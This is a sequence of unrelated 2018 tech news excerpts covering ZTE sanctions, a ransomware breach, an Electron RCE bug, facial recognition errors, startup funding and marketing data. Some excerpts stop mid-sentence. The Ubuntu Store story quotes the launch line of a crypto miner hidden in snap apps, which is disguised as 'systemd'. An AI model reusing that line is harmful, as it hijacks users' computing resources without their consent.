Chinese hardware firm ZTE, which you’ll remember as the company behind last October’s foldable Android phone and the owner of phone brand Nubia, was practically dead in the water as of last month owing to crushing US sanctions.Now, it’s found an unlikely savior in President Trump.Back in March 2017, the company was ordered to pay $1.2 billion in fines for violating sanctions by shipping sensitive US-made technology to Iran.Last month, it was banned from receiving and using American software and hardware in its products (including Qualcomm processors), and found its manufacturing arm unable to deliver new devices, which includes a range of phones and telecom equipment.On Sunday, President Trump tweeted that he’s keen to see ZTE rescued:President Xi of China, and I, are working together to give massive Chinese phone company, ZTE, a way to get back into business, fast.
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The Australian State of New South Wales' reproductive and sexual health organisation Family Planning NSW has advised users of an April 2018 ransomware attack that may have compromised sensitive information.The agency apparently retained web form messages on the public-facing server, meaning if its database was breached, attackers would have access to individuals' messages to Family Planning.The organisation said it's contacting up to 8,000 clients to advise them of the April 26 event, and at the time of writing, its Website carried the message “Our website is getting a security update”.The agency says it was one of several “targeted by these cyber criminals requesting a Bitcoin ransom on ANZAC Day* [April 25th]”.The organisation's message says the site was “secured by 10am on April 26”, and “more sensitive medical records held internally were never under threat”.Family Planning NSW says it has contacted the Australian Federal Police about the attack.
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If Google is notorious for making dozens of throwaway moonshot projects, Microsoft is perhaps infamous for breaking hearts and crushing dreams.Some, however, have finally had enough and have either migrated to other mobile platforms or, in this instance, scratched their own itch.It was a Herculean task but developer Ben imbushuo, @imbushuo, has successfully made Windows 10 on ARM run almost completely on a Lumia 950 XL and has even provided steps on how to follow on his adventure.It’s almost ironic that it was Microsoft itself that opened the doors to this unofficial port of the rather new Windows 10 on ARM Edition.While Microsoft probably never envisioned it to be used as such, it has, at least, not closed the doors just yet.Ben has, since then, tried to make Windows 10 on ARM work on various devices, including the RX-130 prototype that never came to be as well as an off the shelf Lumia 950 XL.
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Cost of revenue and selling expenses have grown, and this trend has continued in Q1 of 2018.Superfans can spend hundreds, sometimes thousands of dollars, to buy digital presents for their favorite artists as a show of appreciation.In M17’s case, however, it plans to keep paying artists in order to keep them on its platform and away from competitors.M17 has pledged to move away from paying artists fixed fees and instead relying more on revenue sharing.The more virtual gifts they solicit, the happier M17 is.It’s sitting on US$31.4 million in cash and cash equivalents.
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Many of the post-90s generation (九零后, those born in the 90s)—having been born after much of the recent upheaval and a time when the country had long been accustomed to the one-child policy—have grown into open-minded and confident young adults.They also became the main consumers of Alibaba’s e-commerce platform Taobao and Tmall; 86.8% post-90s shop online to reduce the cost of clothes and bags.A report from Tmall Global and CBNData show that young buyers (defined as those born after 1988) now account for nearly half of all consumption on Tmall Global.Now the eldest of post-90s generation, people born in 1990 are 28 years and have already started their career; some have even started their own businesses.There are many successful post-90s founders: Dai Wei, founder and CEO of Ofo, the bike rental company that expanded to three continents.We interviewed three post-90s generation founders in Shanghai to see how they are disrupting the traditional market with their own fresh and creative ideas.
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Tencent has unveiled its Go-playing AI program, “PhoenixGo,” on Github, making its source code and training model available on the open source platform (in Chinese).The program, developed by WeChat’s translation unit, is the first open source Go AI project in China.A team of WeChat engineers focusing on the development of machine translation decided to use the spare processing power of WeChat’s servers to train the PhoenixGo program, which implemented AlphaGo Zero, the latest version of DeepMind’s champion-defeating AlphaGo, and increased its training efficiency.PhoenixGo’s source code and training model can run on a single GPU chip and perform at the same level as a professional Go play.er.PhoenixGo began competing on FoxGo—Tencent’s online Go playing platforms for professional players and aficionados—under the alias “BensonDarrz” in January.In April, the program recorded a 200-game winning streak.
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Developer's dreams of driving off in a Ferrari dashedAdmins of the Ubuntu Store have pulled all apps from a developer who signed himself "Nicholas Tomb", and from his e-mail signature apparently wanted to crypto-mine himself into a Ferrari.Mr Tomb's "2048buntu" and "Hextris applications are now absent from the store, with their removal sparked by a GitHub comment about the 2048buntu.User Tarwirdur wrote “This application contains hidden сrypto-currency miner inside” (it was mining Bytecoin) and asked how this could be reported.Here's the code Tarwirdur spotted (look or the e-mail sig in the seventh line):/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1 -g
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Call it modesty or inaccuracy but Nintendo seems to have a problem properly estimating its chances of success.Then again, after a long period of being left behind by other gaming console giants, Nintendo might have not exactly thought it would be this successful.From the Switch to the NES and SNES Classic Editions, Nintendo has failed to make enough devices to satisfy the demand for them.Fortunately, Nintendo does learn from its lessons and, as promised, the NES Classic Edition will be returning to store shelves next month.It’s actually more puzzling to imagine that Nintendo didn’t have that many “NES mini” consoles made in the first place.While there’s the aspect of keeping it as a sort of collector’s item, it fit perfectly with the gaming trends of recent years.
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Facial recognition may not be the high-tech policing solution it's purported to be, with new figures showing facial-recognition software used by the UK's Metropolitan Police returned incorrect matches in 98 percent of cases.According to figures published by The Independent (based on data obtained under freedom of information), only two of the 104 alerts generated by the facial-recognition software used by Met Police were found to be accurate matches.The Independent also reports software used by South Wales Police has returned more than 2,400 false positives since June 2017.Facial recognition software is capable of scanning video footage and identifying individual faces to match with a database of known faces, such as wanted criminals.The software reduces each face to a map of biometric identifiers (such as the length of a person's nose and the distance between their eyes) and is capable of making a match in a fraction of a second.The technology is also in use in countries such as Australia, as well as China, where state media says face-recognising glasses used by police can help law enforcement identify and detain persons of interest in as little as seven minutes.
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Money is pouring into Southeast Asia’s used-car market.Startups using tech to make second-hand vehicle sales more efficient have secured big funding in recent months, including multi-million-dollar raises for Carsome, Carmudi, and BeliMobilGue.It announced today it has raised US$60 million in a series B round co-led by B Capital Group, Insignia Ventures Partners, and SoftBank Ventures Korea.B Capital partner and Facebook co-founder Eduardo Saverin will join Carro’s board along with Insignia founder and ex-Sequoia Capital partner, Tan Yinglan, and SoftBank Ventures Korea partner Sean Lee.The family office of IDG Ventures India founder Manik Arora joined the round.Existing investors Alpha JWC, Golden Gate Ventures, Singtel Innov8, and Venturra Capital also participated.
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As smartphones become more and more a common part of everyday life, so too do their potential to be used for harm.While we mostly rely on laws to protect us both criminals and less conscientious companies, sometimes the laws aren’t exactly clear or up to modern standards and have just enough grey areas for some enterprising people to take advantage of.Case in point is the ability of some companies and individuals to track cellphone locations even without warrants, all thanks to a feature almost all carriers provide to aid marketing and advertising.Such an example involved a former Mississippi County sheriff who used the service provided by a company called Securus to keep track of cellphone.The company provides these services for government and law enforcement but it didn’t take a genius like the former sheriff to use that service to track not just prisoners but also a judge and members of the state’s highway patrol.All without a warrant and all using what’s technically available to carriers and, by extension, to some “partners” and customers.
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The Open Networking Foundation is moving to address the protocol vulnerability revealed last week in OpenFlow, but won't revise the protocol.The issue, discovered by a group of European researchers, was that switches weren't authenticated to controllers – meaning a bad actor could get at communications if they could introduce a malicious switch to an environment.Greg Cross from the Open Networking Foundation (ONF) contacted The Reg to explain what the Foundation will do to close the hole.The ONF, he wrote, assesses the vulnerability to be a risk to networks in the following scenarios: an attacker accesses the management port of the device, and can leverage a vulnerability in a switch to access its certificate; a vulnerability exists in a switch's data plane, which gives them access to the switch's certificate; or the attacker can “generate or acquire a certificate that is trusted by the controller.”You'll note that all of these scenarios assumes that the switch-controller connections are protected by TLS/SSL certificates, a protection suggested by the researchers who found the bug – controllers and switches should enable TLS with client-specific certificates.That, Cross said, is because while it's not mandated, the specification recommends the use of TLS/SSL certs between switch and controller.
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Some might see it as a change of heart, mercy, or even forgiveness.Others might pin it down on multiple personality disorder.Either way, US President Donald Trump has tweeted that he instructed the country’s Commerce Department to quickly find a way to get ZTE up and running again just weeks after the same government signed its death sentence.ZTE last week said that it was suspending all its operations in light of the recent sanction imposed by the US government over the company’s violation of the US ban on exports to Iran and other countries.While ZTE is still hoping that it could work out an agreement with companies and the US government, its future was totally bleak.Both its smartphone business as well as its networking hardware operations would have to be closed down.
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VID Why crawl when you can fly?Because flying in a thin atmosphere is hard, but Mars 2020 will try anywayNASA has announced that its Mars 2020 mission will include a small helicopter.The appeal of a ‘copter is obvious: it’ll be faster than a crawling robot, see further and should be less likely to be stuck in sand.While Bernoulli’s Principle holds on Mars, the red planet’s atmosphere is vastly thinner than Earth’s so a copter needs to be lighter and rotate its blades faster to achieve lift.NASA’s therefore designed a machine with blades that “will bite into the thin Martian atmosphere at almost 3,000 rpm – about 10 times the rate of a helicopter on Earth”, weighs just 1.8kg and has a “ fuselage … about the size of a softball”.
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Valve seems to be cooking up quite the treat for mobile users while still clinging to is PC gaming focus.It recently announced the expansion of its Steam Link system that would allow Steam games to be streamed to Android and iOS devices.Now it has revealed a crucial piece of that puzzle by announcing Bluetooth Low Energy (BLE) support for its Steam Controller.While Valve explains that this is an important requirement for its Steam Link plans, it also makes it possible to use the wireless controller directly with mobile devices.Streaming PC games to mobile devices would be half useless if you didn’t have a way to control them.There’s quite a large gap between the touch-based controls on mobile gaming and even controller-based PC games.
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Electron developers need to check their apps, after a security researcher turned up a remote code execution bug in the framework.What TrustWave's Brendan Scarvell found is that an attacker can turn on services beyond the developer's intent.A developer only needed to be a little careless, accepting defaults without explicitly turning a service off, and their application would be vulnerable.The post noted that the framework is used by “Slack, Discord, Signal, Atom, Visual Studio Code, and Github Desktop”, among others.Scarvell explained the conditions for an app to be vulnerable: it's built on version
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Marketers are awash in all different types of data, but often have a hard time making heads or tails of what to do with it.And in an increasingly personalized world, consumers expect their customer experiences to be customized—and that’s where an effective data strategy comes in.According to stats compiled by Accenture Research, the majority of global business leaders say the most important factor in customer experience is ensuring their staff has access to customer data.Additionally, 59 percent of companies that use business analytics say it gives them a competitive advantage.But despite such promising numbers, a whopping 88 percent of marketers aren’t using data to its full potential.“Some brands are swimming in data, but it’s not the right data to achieve marketing objectives,” said Jeannine Falcone, North America marketing lead at Accenture Interactive.
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As the average creative account win shrinks and clients across the brand spectrum move more work in-house, media continues to be the most important part of the global agency equation.In 2018, bold leadership and creative thinking in media is critical for any marketer looking to reach the right customer with the right message in the most effective place and time.For those reasons and more, this year’s All-Stars will lead the industry forward.Our Executive of the Year, John Moore, helped transform MullenLowe’s Mediahub from an upstart into a contender with innovative solutions to the business needs of breakthrough clients like Netflix.And Rising Star Alexis Toney of Laundry Service is a proud cord-cutter untethered to the “traditional” media model.Taken together, this diverse array of All-Star talent represents a transformative way of working.
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Thanks to our now constant use of smartphones, the personal data that we shed out into the world has never been richer, more nuanced and, well, revealing.There is the annoying: We’ve all been stalked by brands we express just a glancing, if not accidental, interest in.Using our data, they follow us around our daily journeys with ads, even after we have purchased the product they want us to purchase again and again.The Facebook-Cambridge Analytica debacle, ongoing relentless hacking, scamming, phishing and fraud, and general digital malfeasance and skullduggery show our data sets can expose us to misinformation and real potential harm.In the face of this new data economy, GDPR (General Data Protection Regulation), the European attempt to safeguard data privacy, is causing both a lot of hand wringing and a ton of investment in compliance systems by media agencies and brands.Those same companies, however, are also basing their future success on data capture and manipulation in order to connect more fluidly with the consumer whose business they are desperate to keep in the face of disruption—a digital Catch-22.
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Customer data is rapidly becoming the dominant currency of the modern marketplace.Recent IAB research credits first-party data as the driver for “all significant functions of the enterprise, including product development, customer value analysis and pricing.” It’s impossible to achieve the critical goals the market now demands—empathy, fluid conversation across touch points, personalization—without nimble, proficient command of customer data.Lack of access to first-party data has weakened their ability to use data strategically to drive business outcomes.Whose data is it anyway?In today’s digital world, data is the source of performance advantage.Specifically, first-party data, which is defined as the information that a brand or company collects about its customers through increasingly digital interactions.
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